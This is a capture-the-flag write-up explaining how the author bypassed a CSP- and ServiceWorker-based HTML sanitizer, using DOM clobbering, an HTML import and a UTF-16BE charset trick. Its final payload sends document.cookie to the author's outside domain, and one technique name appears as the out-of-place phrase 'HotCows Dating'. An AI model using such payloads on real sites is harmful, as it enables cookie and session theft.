Overview

Problem page:
https://sanitizer.web.ctfcompetition.com

Copy of source code:
https://gist.github.com/tyage/6eabacf6001bd068287842b1052132e4

The application sanitize input and render it.

Sanitizing method

The method of sanitizing is follow:

1. Remove the words that match with /meta|srcdoc|utf-16be/i from input.
2. Register a ServiceWorker then, render input in iframe
3. In iframe, it load <script src=sanitize> which executes the following code:

onload = _=> setTimeout(_=> parent.postMessage(document.body.innerHTML, location.origin), 1000);
remove = node => (node == document) ? document.body.innerHTML = '' : node.parentNode.removeChild(node);
document.addEventListener("securitypolicyviolation", e => remove(e.target));
document.write('<meta http-equiv="Content-Security-Policy" content="default-src \\'none\\'; script-src *"><body>');

4. The code removes the node which violates CSP.
5. To prevent loading the attacker’s script, ServiceWorker overrides the response of contents as following code:

with(document) remove(document === currentScript.ownerDocument ? currentScript : querySelector('link[rel="import"]'));
// <script src=x></script>

6. This code remove currentScript or html import element.
7. Now, doument.body returns an sanitized html!

Evade from sanitization

But wait, why google uses with(document) ? (It is deprecated.)
Then, I thought I can disable the execution of document.remove by using the technique of HotCows Dating

OK. Let’s input the html below and confirm that it is not sanitized.

<form name=remove></form>
<link rel=import href=//tyage.net>

Execute payload

But sadly, the content which html import load is overrode by ServiceWorker.

So some techniques are needed to execute attacker’s script.

Soon, I realized that we can import the url: /sanitize?html=URL_ENCODED_HTML.
And URL_ENCODED_HTML can be a string that is not matched with /meta|srcdoc|utf-16be/i (e.g. <%6deta>).

Next, we use utf-16be to execute our payload.

Here is useful link: http://masatokinugawa.l0.cm/2012/05/utf-16content-security-policy.html

/sandbox?html=%00=\x00a\x00l\x00e\x00r\x00t\x00(\x001\x00) returns <!doctype HTML>\n<script src=sanitize>\n</script>\n<body>\x00=\x00a\x00l\x00e\x00r\x00t\x00(\x001\x00).

When charset is utf-16be, it is interpreted as 㰡摯捴祰攠䡔䵌㸊㱳捲楰琠獲挽獡湩瑩穥㸊㰯獣物灴㸊㱢潤社=alert(1)

OK, now we can get flag in cookie!

<form name=currentScript></form>
<link rel="import" href="/sandbox?html=<script src=%22/sandbox%3Fhtml=%2500%3D%25001%2500;%2500l%2500o%2500c%2500a%2500t%2500i%2500o%2500n%2500.%2500h%2500r%2500e%2500f%2500%3D%2500%2522%2500/%2500/%2500t%2500y%2500a%2500g%2500e%2500.%2500n%2500e%2500t%2500/%2500%2522%2500+%2500(%2500d%2500o%2500c%2500u%2500m%2500e%2500n%2500t%2500.%2500c%2500o%2500o%2500k%2500i%2500e%2500)%22 charset=%22%55TF-16BE%22></script>">

flag is: CTF{no-problem-this-can-be-fixed-by-adding-a-single-if}